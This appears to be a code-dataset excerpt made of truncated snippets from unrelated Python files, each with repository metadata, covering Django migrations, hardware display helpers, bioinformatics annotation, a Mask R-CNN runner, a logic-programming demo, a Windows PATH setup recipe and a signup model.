# Generated by Django 3.1.2 on 2020-11-03 18:23
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('vote', '0020_election_remind_text_sent'),
]
operations = [
migrations.AlterField(
model_name='session',
... | 1.421875 | 1 |
rainbowhatwrapper/util/RhDisplayUtil.py | akd001/RPi | 1 | 12773238 | import rainbowhat as rh
def showRhDisplay():
try:
rh.display.show()
except Exception as e:
print str(e)
def clearRhDisplay():
try:
rh.display.clear()
except Exception as e:
print str(e)
def printRhDisplay(stringToPrint):
try:
rh.display.print_str(st... | 2.5 | 2 |
src/test_utils.py | reinaqu/reportingslroo | 0 | 12773239 | '''
Created on 28 nov. 2021
@author: reinaqu_2
'''
import configurations
import DashboardDataExtraction as datextdash
import PublicationsQuality as pubq
from typing import TypeVar,Callable,Dict,List, Set
K = TypeVar('K')
V = TypeVar('V')
def mostrar_dict(d: Dict[str, Set[str]]):
for k,v in sorted(d.items()):
... | 2.609375 | 3 |
zci_bio/annotations/cpgavas.py | CroP-BioDiv/zcitools | 0 | 12773240 | from zci_bio.annotations.steps import AnnotationsStep
from common_utils.file_utils import write_fasta # copy_file, link_file
_instructions = """
Open web page http://www.herbalgenomics.org/cpgavas/
Probably one of mirrors:
Mirror 1: Central China : http://172.16.17.32:16019/analyzer/home
Mirror 2: East Coast USA :... | 2.421875 | 2 |
pychron/updater/branch_view.py | ael-noblegas/pychron | 1 | 12773241 | <gh_stars>1-10
# # ===============================================================================
# # Copyright 2015 <NAME>
# #
# # Licensed under the Apache License, Version 2.0 (the "License");
# # you may not use this file except in compliance with the License.
# # You may obtain a copy of the License at
# #
# # ht... | 1.367188 | 1 |
designate/backend/impl_powerdns/__init__.py | melodous/designate | 0 | 12773242 | # Copyright 2012 Hewlett-Packard Development Company, L.P. All Rights Reserved.
# Copyright 2012 Managed I.T.
#
# Author: <NAME> <<EMAIL>>
# Author: <NAME> <<EMAIL>>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a ... | 1.554688 | 2 |
src/util.py | weijinqian0/feature_eda | 6 | 12773243 | <reponame>weijinqian0/feature_eda
import json
import re
import time
import numpy as np
def parse_json(json_str):
return json.loads(json_str)
def write_json(json_path, object):
with open(json_path, 'w') as wf:
wf.write(json.dumps(object))
def read_json(json_path):
with open(json_path, 'r') as ... | 2.828125 | 3 |
setup.py | pypyr-scheduler/pypyr-scheduler-rpc-client | 1 | 12773244 | from setuptools import (setup, find_namespace_packages)
from os import path
from pkg_resources import parse_version
from pyrsched.rpc import (NAME, VERSION)
here = path.abspath(path.dirname(__file__))
with open(path.join(here, 'README.md'), encoding='utf-8') as f:
LONG_DESCRIPTION = f.read()
setup(
name=NAM... | 1.46875 | 1 |
detection/run_mask.py | katerynaCh/Finnish-WW2-photographers-analysis | 3 | 12773245 | import sys
sys.path.append('../src/')
import os
import numpy as np
from mask_rcnn.mrcnn import utils
import mask_rcnn.mrcnn.model as modellib
from mask_rcnn.samples.coco import coco
import cv2
import argparse as ap
class InferenceConfig(coco.CocoConfig):
# Set batch size to 1 since we'll be running inference on
... | 2.25 | 2 |
game/model/entity/damage/damage.py | AntonYermilov/progue | 0 | 12773246 | <reponame>AntonYermilov/progue
from dataclasses import dataclass
from enum import Enum
class DamageType(Enum):
PHYSICAL = 0
MAGIC = 1
HEALING = 2
@dataclass
class Damage:
"""
Damage class.
"""
damage_type: DamageType
damage_amount: int
confuse_turns: int = 0
| 2.984375 | 3 |
tutorialspoint/logic_programming.py | enthusiasticgeek/AI | 0 | 12773247 | #!/usr/bin/env python3
from kanren import run, var, fact
from kanren.assoccomm import eq_assoccomm as eq
from kanren.assoccomm import commutative, associative
#define math operations
add = 'add'
mul = 'mul'
#define commutative/associative
fact(commutative, mul)
fact(commutative, add)
fact(associative, mul)
fact(asso... | 3.078125 | 3 |
recipes/Python/577233_Adding_directory_pythexecutable_system_PATH/recipe-577233.py | tdiprima/code | 2,023 | 12773248 | """
a small program to run after the installation of python on windows
adds the directory path to the python executable to the PATH env. variable
with optional parameter remove, removes it
you have to open a new command prompt to see the effects (echo %PATH%)
"""
import sys
import os
import time
import _winreg... | 3.515625 | 4 |
programming/coursera/algorithmic_toolbox/week_1/MaximumPairwiseProduct.py | vamsitallapudi/Coderefer-Python-Projects | 1 | 12773249 | <filename>programming/coursera/algorithmic_toolbox/week_1/MaximumPairwiseProduct.py
# python3
def max_pairwise_product(numbers):
x = sorted(numbers)
n = len(numbers)
return x[n-1] * x[n-2]
if __name__ == '__main__':
input_n = int(input())
input_numbers = [int(x) for x in input().split()]
print... | 4.34375 | 4 |
signup/models.py | p2pu/mechanical-mooc | 12 | 12773250 | import random
import string
from datetime import datetime
import json
from signup import db
from signup import emails
from mailgun import api as mailgun_api
from sequence import models as sequence_model
def create_signup( email, questions ):
""" Add signup to the current sequence """
sequence = sequence_mod... | 2.71875 | 3 |